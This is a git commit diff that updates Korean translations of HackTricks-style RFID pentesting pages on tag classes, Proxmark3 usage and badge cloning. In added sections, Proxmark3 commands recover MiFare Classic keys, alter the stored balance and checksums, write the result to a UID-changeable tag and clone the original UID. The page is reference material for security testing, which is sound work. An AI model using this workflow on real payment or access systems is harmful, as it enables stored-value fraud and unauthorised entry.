mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/todo/radio-hacking/pentesting-rfid.md', 'src/todo/radio
This commit is contained in:
parent
90bf21963c
commit
b13c999e7f
@ -2,56 +2,56 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Introduction
|
||||
## 소개
|
||||
|
||||
**Radio Frequency Identification (RFID)**는 가장 인기 있는 단거리 무선 솔루션입니다. 일반적으로 엔티티를 식별하는 정보를 저장하고 전송하는 데 사용됩니다.
|
||||
**Radio Frequency Identification (RFID)** 는 가장 널리 사용되는 단거리 무선 솔루션이다. 일반적으로 엔티티를 식별하는 정보를 저장하고 전송하는 데 사용된다.
|
||||
|
||||
RFID 태그는 **자체 전원 공급 장치(능동형)**에 의존할 수 있으며, 내장 배터리와 같은 방식으로 작동하거나 수신된 전파에서 유도된 전류를 사용하여 판독 안테나로부터 전원을 받을 수 있습니다(**수동형**).
|
||||
RFID 태그는 **its own power source (active)**(예: 내장 배터리)에 의존할 수 있거나, 리더 안테나로부터 수신된 전파에서 **induced from the received radio waves** 를 사용해 전원을 공급받는 (**passive**) 방식일 수 있다.
|
||||
|
||||
### Classes
|
||||
|
||||
EPCglobal은 RFID 태그를 여섯 가지 범주로 나눕니다. 각 범주의 태그는 이전 범주에 나열된 모든 기능을 갖추고 있어 하위 호환성을 제공합니다.
|
||||
EPCglobal은 RFID 태그를 여섯 가지 범주로 나눈다. 각 범주의 태그는 이전 범주에 나열된 모든 기능을 포함하므로 하위 호환된다.
|
||||
|
||||
- **Class 0** 태그는 **UHF** 대역에서 작동하는 **수동형** 태그입니다. 공급업체가 생산 공장에서 **미리 프로그래밍**합니다. 결과적으로, 이들의 메모리에 저장된 정보를 **변경할 수 없습니다**.
|
||||
- **Class 1** 태그는 **HF** 대역에서도 작동할 수 있습니다. 또한, 생산 후 **한 번만 기록**할 수 있습니다. 많은 Class 1 태그는 수신하는 명령의 **순환 중복 검사**(CRC)를 처리할 수 있습니다. CRC는 오류 감지를 위한 명령 끝에 있는 몇 바이트의 추가 데이터입니다.
|
||||
- **Class 2** 태그는 **여러 번 기록**할 수 있습니다.
|
||||
- **Class 3** 태그는 현재 온도나 태그의 움직임과 같은 환경 매개변수를 기록할 수 있는 **내장 센서**를 포함할 수 있습니다. 이러한 태그는 **반수동형**으로, 내장 전원 공급 장치(예: 통합 **배터리**)가 있지만 다른 태그나 판독기와 무선 **통신을 시작할 수 없습니다**.
|
||||
- **Class 4** 태그는 동일한 클래스의 다른 태그와 통신을 시작할 수 있어 **능동형 태그**입니다.
|
||||
- **Class 5** 태그는 **다른 태그에 전원을 공급하고 이전 태그** 클래스와 통신할 수 있습니다. Class 5 태그는 **RFID 판독기**로 작동할 수 있습니다.
|
||||
- **Class 0** 태그는 **passive** 태그로 **UHF** 대역에서 동작한다. 제조 공장에서 벤더가 **preprograms** 한다. 결과적으로 메모리에 저장된 정보를 **변경할 수 없다**.
|
||||
- **Class 1** 태그는 **HF** 대역에서도 동작할 수 있다. 또한 생산 후 **한 번만 쓸 수 있다**. 많은 Class 1 태그는 수신한 명령의 **cyclic redundancy checks**(CRCs)를 처리할 수도 있다. CRC는 에러 검출을 위한 명령 끝부분의 몇 바이트다.
|
||||
- **Class 2** 태그는 **여러 번 기록할 수 있다**.
|
||||
- **Class 3** 태그는 현재 온도나 태그의 동작과 같은 환경 변수를 기록할 수 있는 **embedded sensors** 를 포함할 수 있다. 이러한 태그는 **semi-passive** 인데, 내장된 전원(예: 통합 **battery**)은 있지만 무선 **communication** 을 다른 태그나 리더와 **initiate** 할 수는 없다.
|
||||
- **Class 4** 태그는 동일 클래스의 다른 태그와 통신을 시작할 수 있어 **active tags** 가 된다.
|
||||
- **Class 5** 태그는 **power to other tags and communicate with all the previous tag** 클래스들과 통신할 수 있다. Class 5 태그는 **RFID readers** 로 동작할 수 있다.
|
||||
|
||||
### Information Stored in RFID Tags
|
||||
### RFID 태그에 저장되는 정보
|
||||
|
||||
RFID 태그의 메모리는 일반적으로 네 가지 종류의 데이터를 저장합니다: **식별 데이터**, 이는 태그가 부착된 **엔티티**를 **식별**합니다(이 데이터에는 사용자 정의 필드, 예를 들어 은행 계좌가 포함됨); **보조 데이터**, 이는 엔티티에 대한 **추가** **세부정보**를 제공합니다; **제어 데이터**, 이는 태그의 내부 **구성**에 사용됩니다; 그리고 태그의 **제조업체 데이터**, 이는 태그의 고유 식별자(**UID**)와 태그의 **생산**, **유형**, 및 **공급업체**에 대한 세부정보를 포함합니다. 상업용 태그에서는 첫 번째 두 가지 데이터 유형을 찾을 수 있으며, 마지막 두 가지는 태그의 공급업체에 따라 다를 수 있습니다.
|
||||
RFID 태그의 메모리는 보통 네 가지 종류의 데이터를 저장한다: 태그가 부착된 엔티티를 **identifies** 하는 **identification data**(이 데이터에는 은행 계좌와 같은 사용자 정의 필드 포함); 엔티티에 대한 추가 정보를 제공하는 **supplementary data**; 태그의 내부 **configuration** 에 사용되는 **control data**; 그리고 태그의 Unique Identifier(**UID**)와 생산, 타입, 벤더에 관한 정보를 포함하는 **manufacturer data**. 상업용 태그에서는 첫 두 종류의 데이터를 모두 찾을 수 있고, 마지막 두 종류는 태그 벤더에 따라 다를 수 있다.
|
||||
|
||||
ISO 표준은 태그가 속한 **객체의 종류**를 나타내는 코드인 응용 프로그램 가족 식별자(**AFI**) 값을 지정합니다. ISO에서 지정한 또 다른 중요한 레지스터는 데이터 저장 형식 식별자(**DSFID**)로, 이는 **사용자 데이터의 논리적 조직**을 정의합니다.
|
||||
ISO 표준은 태그가 속한 **kind of object** 를 나타내는 코드인 Application Family Identifier(**AFI**) 값을 명시한다. ISO에서 규정한 또 다른 중요한 레지스터로는 사용자 데이터의 **logical organization** 을 정의하는 Data Storage Format Identifier(**DSFID**)가 있다.
|
||||
|
||||
대부분의 RFID **보안 제어**는 각 사용자 메모리 블록 및 AFI와 DSFID 값을 포함하는 특수 레지스터에 대한 **읽기** 또는 **쓰기** 작업을 **제한**하는 메커니즘을 가지고 있습니다. 이러한 **잠금** **메커니즘**은 제어 메모리에 저장된 데이터를 사용하며 공급업체에 의해 미리 구성된 **기본 비밀번호**를 가지고 있지만 태그 소유자가 **사용자 정의 비밀번호**를 구성할 수 있도록 허용합니다.
|
||||
대부분의 RFID **security controls** 는 각 사용자 메모리 블록과 AFI 및 DSFID 값을 포함하는 특별 레지스터에 대한 **read** 또는 **write** 연산을 **restrict** 하는 메커니즘을 가지고 있다. 이러한 **lock mechanisms** 은 제어 메모리에 저장된 데이터를 사용하며 벤더가 사전 구성한 **default passwords** 를 가지고 있지만 태그 소유자가 **custom passwords** 를 구성할 수 있도록 허용한다.
|
||||
|
||||
### Low & High frequency tags comparison
|
||||
### Low & High frequency tags 비교
|
||||
|
||||
<figure><img src="../../images/image (983).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Low-Frequency RFID Tags (125kHz)
|
||||
|
||||
**저주파 태그**는 종종 **높은 보안이 필요하지 않은** 시스템에서 사용됩니다: 건물 출입, 인터콤 키, 체육관 회원 카드 등. 더 긴 범위 덕분에 유료 주차에 사용하기 편리합니다: 운전자는 카드를 판독기에 가까이 가져갈 필요가 없으며, 더 멀리서도 작동합니다. 동시에 저주파 태그는 매우 원시적이며 데이터 전송 속도가 낮습니다. 이러한 이유로 잔액 유지 및 암호화와 같은 복잡한 양방향 데이터 전송을 구현할 수 없습니다. 저주파 태그는 인증 수단 없이 짧은 ID만 전송합니다.
|
||||
**Low-frequency tags** 는 보통 **high security** 를 요구하지 않는 시스템에서 자주 사용된다: 건물 출입, 인터폰 키, 헬스장 멤버십 카드 등. 더 긴 범위 때문에 유료 주차 시스템에 편리하게 쓰이기도 한다: 운전자가 카드나 태그를 리더에 가까이 대지 않아도 멀리서 트리거된다. 동시에 low-frequency 태그는 매우 원시적이고 낮은 데이터 전송 속도를 가진다. 따라서 잔액 관리나 암호화 같은 복잡한 양방향 데이터 전송을 구현하는 것은 불가능하다. Low-frequency 태그는 인증 수단 없이 짧은 ID만 전송한다.
|
||||
|
||||
이 장치는 **수동형** **RFID** 기술에 의존하며 **30 kHz에서 300 kHz** 범위에서 작동하지만, 일반적으로 125 kHz에서 134 kHz를 사용합니다:
|
||||
이 장치들은 **passive RFID** 기술에 의존하며 **30 kHz ~ 300 kHz** 범위에서 동작하지만 보통은 **125 kHz ~ 134 kHz** 를 사용한다:
|
||||
|
||||
- **긴 범위** — 낮은 주파수는 더 높은 범위로 변환됩니다. EM-Marin 및 HID 판독기가 있으며, 최대 1미터 거리에서 작동합니다. 이러한 태그는 주차장에서 자주 사용됩니다.
|
||||
- **원시 프로토콜** — 낮은 데이터 전송 속도로 인해 이러한 태그는 짧은 ID만 전송할 수 있습니다. 대부분의 경우 데이터는 인증되지 않으며 어떤 방식으로도 보호되지 않습니다. 카드가 판독기의 범위에 들어가면 ID를 전송하기 시작합니다.
|
||||
- **낮은 보안** — 이러한 카드는 쉽게 복사되거나, 프로토콜의 원시성으로 인해 다른 사람의 주머니에서 읽힐 수 있습니다.
|
||||
- **Long Range** — 낮은 주파수는 더 긴 범위를 의미한다. EM-Marin 및 HID 리더와 같이 약 1미터 거리까지 동작하는 제품들이 있다. 이러한 제품은 주차장에 자주 사용된다.
|
||||
- **Primitive protocol** — 낮은 데이터 전송률 때문에 이 태그들은 짧은 ID만 전송할 수 있다. 대부분의 경우 데이터는 인증되지 않으며 어떠한 방식으로도 보호되지 않는다. 카드가 리더의 범위 안에 들어오면 단순히 ID를 전송하기 시작한다.
|
||||
- **Low security** — 이 카드들은 프로토콜의 단순성 때문에 쉽게 복제되거나, 심지어 다른 사람의 주머니에서 읽힐 수도 있다.
|
||||
|
||||
**인기 있는 125 kHz 프로토콜:**
|
||||
**Popular 125 kHz protocols:**
|
||||
|
||||
- **EM-Marin** — EM4100, EM4102. CIS에서 가장 인기 있는 프로토콜입니다. 단순성과 안정성 덕분에 약 1미터 거리에서 읽을 수 있습니다.
|
||||
- **HID Prox II** — HID Global에서 도입한 저주파 프로토콜입니다. 이 프로토콜은 서구 국가에서 더 인기가 있습니다. 더 복잡하며 이 프로토콜에 대한 카드와 판독기는 상대적으로 비쌉니다.
|
||||
- **Indala** — Motorola에서 도입한 매우 오래된 저주파 프로토콜로, 이후 HID에 인수되었습니다. 이전 두 프로토콜에 비해 사용 빈도가 낮습니다.
|
||||
- **EM-Marin** — EM4100, EM4102. CIS 지역에서 가장 인기 있는 프로토콜. 단순성과 안정성 때문에 약 1미터 거리에서 읽을 수 있다.
|
||||
- **HID Prox II** — HID Global에서 도입한 low-frequency 프로토콜. 서구권에서 더 인기가 있다. 더 복잡하며 이 프로토콜 용 카드와 리더는 비교적 비싸다.
|
||||
- **Indala** — Motorola가 도입했고 이후 HID가 인수한 매우 오래된 low-frequency 프로토콜. 이전 두 프로토콜에 비해 사용 빈도는 떨어지고 있다.
|
||||
|
||||
실제로는 더 많은 저주파 프로토콜이 존재합니다. 그러나 이들은 모두 물리적 계층에서 동일한 변조를 사용하며, 나열된 프로토콜의 변형으로 간주될 수 있습니다.
|
||||
실제로는 더 많은 low-frequency 프로토콜이 존재하지만 모두 물리 계층에서 동일한 변조를 사용하며 위에 열거된 프로토콜들의 변형으로 볼 수 있다.
|
||||
|
||||
### Attack
|
||||
### 공격
|
||||
|
||||
You can **attack these Tags with the Flipper Zero**:
|
||||
이 태그들은 Flipper Zero로 **attack** 할 수 있다:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -60,45 +60,89 @@ flipper-zero/fz-125khz-rfid.md
|
||||
|
||||
## High-Frequency RFID Tags (13.56 MHz)
|
||||
|
||||
**고주파 태그**는 암호화, 대규모 양방향 데이터 전송, 인증 등이 필요할 때 더 복잡한 판독기-태그 상호작용에 사용됩니다.\
|
||||
일반적으로 은행 카드, 대중 교통 및 기타 보안 패스에서 발견됩니다.
|
||||
**High-frequency tags** 는 cryptography, 대용량 양방향 데이터 전송, 인증 등이 필요할 때 리더-태그 간 더 복잡한 상호작용을 위해 사용된다.\
|
||||
은행 카드, 대중교통, 기타 보안 패스에서 주로 볼 수 있다.
|
||||
|
||||
**고주파 13.56 MHz 태그는 일련의 표준 및 프로토콜**입니다. 일반적으로 [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/)라고 불리지만, 항상 정확한 것은 아닙니다. 물리적 및 논리적 수준에서 사용되는 기본 프로토콜 세트는 ISO 14443입니다. 고급 프로토콜과 대체 표준(예: ISO 19092)은 이를 기반으로 합니다. 많은 사람들이 이 기술을 **근거리 통신(NFC)**이라고 부르며, 이는 13.56 MHz 주파수에서 작동하는 장치에 대한 용어입니다.
|
||||
**High-frequency 13.56 MHz tags are a set of standards and protocols**. 이들은 보통 [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/) 라고 불리지만 항상 정확한 명칭은 아니다. 물리 및 논리 수준에서 사용되는 기본 프로토콜 세트는 ISO 14443 이다. 고수준 프로토콜과 대체 표준(예: ISO 19092)은 이것을 기반으로 한다. 많은 사람이 이 기술을 13.56 MHz 대역에서 동작하는 장치들을 가리키는 용어인 **Near Field Communication (NFC)** 으로 부른다.
|
||||
|
||||
<figure><img src="../../images/image (930).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
간단히 말해, NFC의 아키텍처는 다음과 같이 작동합니다: 전송 프로토콜은 카드를 만드는 회사에 의해 선택되며, 저수준 ISO 14443를 기반으로 구현됩니다. 예를 들어, NXP는 Mifare라는 고급 전송 프로토콜을 발명했습니다. 그러나 낮은 수준에서 Mifare 카드는 ISO 14443-A 표준을 기반으로 합니다.
|
||||
간단히 말해, NFC의 아키텍처는 다음과 같다: 전송 프로토콜은 카드를 만드는 회사가 선택하고 낮은 수준의 ISO 14443에 기반해 구현된다. 예를 들어 NXP는 Mifare라는 자체 고수준 전송 프로토콜을 발명했다. 그러나 낮은 수준에서는 Mifare 카드는 ISO 14443-A 표준을 기반으로 한다.
|
||||
|
||||
Flipper는 저수준 ISO 14443 프로토콜과 Mifare Ultralight 데이터 전송 프로토콜 및 은행 카드에서 사용되는 EMV와 상호작용할 수 있습니다. Mifare Classic 및 NFC NDEF에 대한 지원 추가 작업을 진행 중입니다. NFC를 구성하는 프로토콜 및 표준에 대한 철저한 검토는 별도의 기사로 다룰 가치가 있으며, 나중에 게시할 계획입니다.
|
||||
Flipper는 낮은 수준의 ISO 14443 프로토콜뿐 아니라 Mifare Ultralight 데이터 전송 프로토콜과 은행 카드에서 사용되는 EMV와도 상호작용할 수 있다. 우리는 Mifare Classic 및 NFC NDEF에 대한 지원 추가 작업을 진행 중이다. NFC를 구성하는 프로토콜과 표준을 철저히 살펴보는 것은 별도의 글이 필요하며 추후 공개할 예정이다.
|
||||
|
||||
ISO 14443-A 표준을 기반으로 하는 모든 고주파 카드는 고유한 칩 ID를 가지고 있습니다. 이는 카드의 일련 번호로 작용하며, 네트워크 카드의 MAC 주소와 유사합니다. **일반적으로 UID는 4 또는 7 바이트 길이**이지만, 드물게 **10 바이트**까지 갈 수 있습니다. UID는 비밀이 아니며 쉽게 읽을 수 있으며, **때때로 카드 자체에 인쇄되어 있습니다**.
|
||||
ISO 14443-A 표준을 기반으로 하는 모든 고주파 카드에는 고유한 칩 ID가 있다. 이는 네트워크 카드의 MAC 주소처럼 카드의 시리얼 번호 역할을 한다. **보통 UID는 4 또는 7 바이트 길이** 이지만 드물게 **최대 10 바이트** 까지 올 수 있다. UID는 비밀이 아니며 쉽게 읽을 수 있고, **때로는 카드 자체에 인쇄되어 있기도 하다**.
|
||||
|
||||
UID에 의존하여 **인증 및 접근 권한 부여**를 수행하는 많은 출입 통제 시스템이 있습니다. 때때로 RFID 태그가 **암호화를 지원**할 때도 이러한 일이 발생합니다. 이러한 **오용**은 보안 측면에서 **125 kHz 카드** 수준으로 떨어뜨립니다. 가상 카드(예: Apple Pay)는 동적 UID를 사용하여 전화 소유자가 결제 앱으로 문을 열지 않도록 합니다.
|
||||
많은 출입 통제 시스템이 UID에 의존해 **authenticate and grant access** 한다. 때로는 RFID 태그가 **cryptography** 를 지원하더라도 이런 방식이 사용된다. 이러한 **misuse** 는 보안 측면에서 해당 시스템을 단순한 **125 kHz 카드** 수준으로 떨어뜨린다. Virtual cards(예: Apple Pay)는 동적 UID를 사용하여 전화 소유자가 결제 앱으로 문을 열지 못하도록 한다.
|
||||
|
||||
- **짧은 범위** — 고주파 카드는 판독기에 가까이 배치되어야 하도록 특별히 설계되었습니다. 이는 카드가 무단 상호작용으로부터 보호되는 데도 도움이 됩니다. 우리가 달성한 최대 판독 범위는 약 15cm였으며, 이는 맞춤형 고범위 판독기를 사용했을 때의 결과입니다.
|
||||
- **고급 프로토콜** — 데이터 전송 속도가 424 kbps에 이르며, 완전한 양방향 데이터 전송이 가능한 복잡한 프로토콜을 허용합니다. 이는 **암호화**, 데이터 전송 등을 가능하게 합니다.
|
||||
- **높은 보안** — 고주파 비접촉 카드들은 스마트 카드에 결코 뒤지지 않습니다. AES와 같은 암호적으로 강력한 알고리즘을 지원하고 비대칭 암호화를 구현하는 카드도 있습니다.
|
||||
- **Low range** — 고주파 카드는 리더에 가깝게 배치해야 하도록 설계되어 있다. 이것은 무단 상호작용으로부터 카드를 보호하는 데 도움이 된다. 우리가 달성한 최대 읽기 범위는 약 15 cm였으며, 이는 맞춤형 고범위 리더를 사용했을 때였다.
|
||||
- **Advanced protocols** — 최대 424 kbps의 데이터 전송 속도는 완전한 양방향 데이터 전송이 가능한 복잡한 프로토콜을 허용한다. 이는 결과적으로 **cryptography**, 데이터 전송 등 을 가능하게 한다.
|
||||
- **High security** — 고주파 비접촉 카드들은 스마트 카드에 전혀 뒤지지 않는다. AES와 같은 강력한 암호 알고리즘을 지원하고 비대칭 암호화를 구현하는 카드들도 있다.
|
||||
|
||||
### Attack
|
||||
### 공격
|
||||
|
||||
You can **attack these Tags with the Flipper Zero**:
|
||||
이 태그들은 Flipper Zero로 **attack** 할 수 있다:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
flipper-zero/fz-nfc.md
|
||||
{{#endref}}
|
||||
|
||||
Or using the **proxmark**:
|
||||
또는 **proxmark** 를 사용하여:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
proxmark-3.md
|
||||
{{#endref}}
|
||||
|
||||
### Building a Portable HID MaxiProx 125 kHz Mobile Cloner
|
||||
### MiFare Classic offline stored-value tampering (broken Crypto1)
|
||||
|
||||
If you need a **long-range**, **battery-powered** solution for harvesting HID Prox® badges during red-team engagements you can convert the wall-mounted **HID MaxiProx 5375** reader into a self-contained cloner that fits in a backpack. The full mechanical and electrical walk-through is available here:
|
||||
시스템이 MiFare Classic 카드에 직접 금전 잔액을 저장하는 경우, Classic은 NXP의 더 이상 사용되지 않는 Crypto1 암호를 사용하므로 종종 조작할 수 있다. Crypto1은 수년 전부터 깨져 있었고, sector keys 복구와 카드 메모리의 완전한 읽기/쓰기가 commodity 하드웨어(예: Proxmark3)로 가능하다.
|
||||
|
||||
End-to-end workflow (abstracted):
|
||||
|
||||
1) 원본 카드를 덤프하고 키를 복구한다
|
||||
```bash
|
||||
# Attempt all built-in Classic key recovery attacks and dump the card
|
||||
hf mf autopwn
|
||||
```
|
||||
This typically recovers sector keys (A/B) and generates a full-card dump in the client dumps folder.
|
||||
|
||||
2) 값/무결성 필드 찾기 및 이해
|
||||
|
||||
- 원본 카드에 정상적인 top-ups를 수행하고 여러 번의 dumps(이전/이후)를 찍는다.
|
||||
- 두 dumps의 diff를 수행하여 잔액과 무결성 필드를 나타내는 변경되는 블록/바이트를 식별한다.
|
||||
- 많은 Classic 배포판은 네이티브 "value block" 인코딩을 사용하거나 자체 checksums(예: 잔액을 다른 필드와 상수로 XOR)을 구현한다. 잔액을 변경한 후에는 무결성 바이트를 재계산하고, 복제/보수된 모든 필드가 일관되도록 확인한다.
|
||||
|
||||
3) 수정된 dump를 쓰기 가능한 “Chinese magic” Classic 태그에 기록한다
|
||||
```bash
|
||||
# Load a modified binary dump onto a UID-changeable Classic tag
|
||||
hf mf cload -f modified.bin
|
||||
```
|
||||
4) 원본 UID를 Clone하여 터미널이 카드를 인식하도록
|
||||
```bash
|
||||
# Set the UID on a UID-changeable tag (gen1a/gen2 magic)
|
||||
hf mf csetuid -u <original_uid>
|
||||
```
|
||||
5) 단말기에서 사용
|
||||
|
||||
카드 내 잔액과 UID를 신뢰하는 리더는 조작된 카드를 수용한다. 현장 관찰 결과 많은 배포 환경에서 필드 폭을 기준으로 잔액을 한계값으로 제한하는 경우가 있다(예: 16-bit fixed-point).
|
||||
|
||||
Notes
|
||||
|
||||
- 시스템이 native Classic value blocks를 사용한다면 형식을 기억하라: value (4B) + ~value (4B) + value (4B) + block address + ~address. 모든 부분이 일치해야 한다.
|
||||
- 간단한 체크섬을 사용하는 커스텀 포맷의 경우, differential analysis가 펌웨어를 리버스하지 않고 무결성 함수를 도출하는 가장 빠른 방법이다.
|
||||
- block 0/UID 쓰기가 가능한 것은 UID 변경 가능한 태그("Chinese magic" gen1a/gen2)뿐이다. 일반 Classic 카드는 읽기 전용 UID를 가진다.
|
||||
|
||||
실습용 Proxmark3 명령어는 다음을 참조:
|
||||
|
||||
{{#ref}}
|
||||
proxmark-3.md
|
||||
{{#endref}}
|
||||
|
||||
### 휴대용 HID MaxiProx 125 kHz 모바일 클로너 제작
|
||||
|
||||
레드팀 활동 중 HID Prox® 배지를 수집하기 위해 **장거리**, **배터리 구동** 솔루션이 필요하다면 벽걸이형 **HID MaxiProx 5375** 리더를 배낭에 들어가는 독립형 클로너로 개조할 수 있다. 전체 기계적 및 전기적 실무 안내는 다음에서 확인할 수 있다:
|
||||
|
||||
{{#ref}}
|
||||
maxiprox-mobile-cloner.md
|
||||
@ -106,9 +150,12 @@ maxiprox-mobile-cloner.md
|
||||
|
||||
---
|
||||
|
||||
## References
|
||||
## 참고자료
|
||||
|
||||
- [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
|
||||
- [Let's Clone a Cloner – Part 3 (TrustedSec)](https://trustedsec.com/blog/lets-clone-a-cloner-part-3-putting-it-all-together)
|
||||
- [NXP statement on MIFARE Classic Crypto1](https://www.mifare.net/en/products/chip-card-ics/mifare-classic/security-statement-on-crypto1-implementations/)
|
||||
- [MIFARE security overview (Wikipedia)](https://en.wikipedia.org/wiki/MIFARE#Security)
|
||||
- [NFC card vulnerability exploitation in KioSoft Stored Value (SEC Consult)](https://sec-consult.com/vulnerability-lab/advisory/nfc-card-vulnerability-exploitation-leading-to-free-top-up-kiosoft-payment-solution/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -4,15 +4,15 @@
|
||||
|
||||
## Proxmark3로 RFID 시스템 공격하기
|
||||
|
||||
가장 먼저 해야 할 일은 [**Proxmark3**](https://proxmark.com)를 가지고 [**소프트웨어와 그 의존성 설치하기**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)입니다.
|
||||
가장 먼저 해야 할 일은 [**Proxmark3**](https://proxmark.com)를 준비하고 [**install the software and it's dependencie**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux).
|
||||
|
||||
### MIFARE Classic 1KB 공격하기
|
||||
### MIFARE Classic 1KB 공격
|
||||
|
||||
**16개의 섹터**가 있으며, 각 섹터는 **4개의 블록**을 가지고 있고 각 블록은 **16B**를 포함합니다. UID는 섹터 0 블록 0에 있으며(변경할 수 없음).\
|
||||
각 섹터에 접근하려면 **2개의 키**(**A**와 **B**)가 필요하며, 이 키는 **각 섹터의 블록 3**에 저장됩니다(섹터 트레일러). 섹터 트레일러는 또한 **접근 비트**를 저장하여 **2개의 키**를 사용하여 **각 블록**에 대한 **읽기 및 쓰기** 권한을 부여합니다.\
|
||||
2개의 키는 첫 번째 키를 알고 있으면 읽기 권한을 부여하고 두 번째 키를 알고 있으면 쓰기 권한을 부여하는 데 유용합니다(예를 들어).
|
||||
이는 **16 sectors**, 각 섹터는 **4 blocks**이며 각 블록은 **16B**를 포함합니다. UID는 sector 0 block 0에 있으며(변경할 수 없습니다).\
|
||||
각 섹터에 접근하려면 각 섹터의 **block 3 of each sector**(sector trailer)에 저장된 **2 keys**(**A** and **B**)가 필요합니다. 섹터 트레일러는 또한 **2 keys**를 사용하여 **each block**에 대한 **read and write** 권한을 부여하는 **access bits**를 저장합니다.\
|
||||
**2 keys**는 예를 들어 첫 번째 키를 알면 읽기 권한을, 두 번째 키를 알면 쓰기 권한을 부여하는 식으로 유용합니다.
|
||||
|
||||
여러 가지 공격을 수행할 수 있습니다.
|
||||
여러 공격을 수행할 수 있습니다
|
||||
```bash
|
||||
proxmark3> hf mf #List attacks
|
||||
|
||||
@ -31,11 +31,39 @@ proxmark3> hf mf eset 01 000102030405060708090a0b0c0d0e0f # Write those bytes to
|
||||
proxmark3> hf mf eget 01 # Read block 1
|
||||
proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write to the card
|
||||
```
|
||||
Proxmark3는 **태그와 리더 간의 통신을 도청**하여 민감한 데이터를 찾는 등의 다른 작업을 수행할 수 있습니다. 이 카드에서는 통신을 스니핑하고 사용된 키를 계산할 수 있습니다. 왜냐하면 **사용된 암호화 작업이 약하기** 때문에 평문과 암호문을 알고 있으면 이를 계산할 수 있습니다(`mfkey64` 도구).
|
||||
The Proxmark3는 민감한 데이터를 찾기 위해 **eavesdropping**과 같이 **Tag to Reader communication**을 도청하는 등 추가 동작을 수행할 수 있습니다. 이 카드의 경우 통신을 스니핑한 뒤 사용된 키를 계산할 수 있는데, 그 이유는 **cryptographic operations used are weak**하며 평문(plaintext)과 암호문(ciphertext)을 알면 (`mfkey64` 도구) 키를 계산할 수 있기 때문입니다.
|
||||
|
||||
### 원시 명령
|
||||
#### MiFare Classic의 저장값(stored-value) 악용을 위한 빠른 워크플로우
|
||||
|
||||
IoT 시스템은 때때로 **비브랜드 또는 비상업적 태그**를 사용합니다. 이 경우 Proxmark3를 사용하여 태그에 사용자 정의 **원시 명령을 보낼** 수 있습니다.
|
||||
터미널이 Classic 카드에 잔액을 저장할 때, 일반적인 엔드투엔드 흐름은 다음과 같습니다:
|
||||
```bash
|
||||
# 1) Recover sector keys and dump full card
|
||||
proxmark3> hf mf autopwn
|
||||
|
||||
# 2) Modify dump offline (adjust balance + integrity bytes)
|
||||
# Use diffing of before/after top-up dumps to locate fields
|
||||
|
||||
# 3) Write modified dump to a UID-changeable ("Chinese magic") tag
|
||||
proxmark3> hf mf cload -f modified.bin
|
||||
|
||||
# 4) Clone original UID so readers recognize the card
|
||||
proxmark3> hf mf csetuid -u <original_uid>
|
||||
```
|
||||
노트
|
||||
|
||||
- `hf mf autopwn`은 nested/darkside/HardNested-style 공격을 조율하고, keys를 복구하며, client dumps folder에 덤프를 생성합니다.
|
||||
- Writing block 0/UID는 magic gen1a/gen2 카드에서만 작동합니다. 일반 Classic 카드는 UID가 읽기 전용입니다.
|
||||
- 많은 배포에서는 Classic "value blocks" 또는 단순한 checksums을 사용합니다. 편집 후 중복/보수된 필드와 checksums이 일관되는지 확인하세요.
|
||||
|
||||
상위 수준의 방법론 및 완화책은 다음을 참조하세요:
|
||||
|
||||
{{#ref}}
|
||||
pentesting-rfid.md
|
||||
{{#endref}}
|
||||
|
||||
### Raw 명령
|
||||
|
||||
IoT 시스템은 때때로 **nonbranded or noncommercial tags**를 사용합니다. 이 경우 Proxmark3를 사용해 태그로 보낼 커스텀 **raw 명령**을 전송할 수 있습니다.
|
||||
```bash
|
||||
proxmark3> hf search UID : 80 55 4b 6c ATQA : 00 04
|
||||
SAK : 08 [2]
|
||||
@ -45,14 +73,21 @@ No chinese magic backdoor command detected
|
||||
Prng detection: WEAK
|
||||
Valid ISO14443A Tag Found - Quiting Search
|
||||
```
|
||||
이 정보를 통해 카드에 대한 정보와 카드와 통신하는 방법을 검색할 수 있습니다. Proxmark3는 다음과 같은 원시 명령을 전송할 수 있습니다: `hf 14a raw -p -b 7 26`
|
||||
이 정보를 가지고 카드에 대한 정보와 카드와 통신하는 방법을 찾아볼 수 있습니다. Proxmark3는 다음과 같이 원시 명령을 전송할 수 있습니다: `hf 14a raw -p -b 7 26`
|
||||
|
||||
### 스크립트
|
||||
|
||||
Proxmark3 소프트웨어에는 간단한 작업을 수행하는 데 사용할 수 있는 **자동화 스크립트**의 미리 로드된 목록이 포함되어 있습니다. 전체 목록을 검색하려면 `script list` 명령을 사용하십시오. 다음으로, `script run` 명령과 스크립트 이름을 입력하십시오:
|
||||
Proxmark3 소프트웨어에는 간단한 작업을 수행할 때 사용할 수 있는 **자동화 스크립트** 목록이 미리 포함되어 있습니다. 전체 목록을 확인하려면 `script list` 명령을 사용하세요. 그런 다음 `script run` 명령 다음에 스크립트 이름을 붙여 실행합니다:
|
||||
```
|
||||
proxmark3> script run mfkeys
|
||||
```
|
||||
**태그 리더기를 퍼즈하기 위한** 스크립트를 생성할 수 있습니다. 따라서 **유효한 카드**의 데이터를 복사하려면 **Lua 스크립트**를 작성하여 하나 이상의 무작위 **바이트**를 **무작위화**하고 각 반복에서 **리더가 충돌하는지** 확인하십시오.
|
||||
스크립트를 만들어 **fuzz tag readers**할 수 있습니다. 즉, **valid card**의 데이터를 복사한 뒤 **Lua script**로 하나 이상의 무작위 **bytes**를 **randomize**하고 각 반복에서 **reader crashes**하는지 확인하면 됩니다.
|
||||
|
||||
## 참고자료
|
||||
|
||||
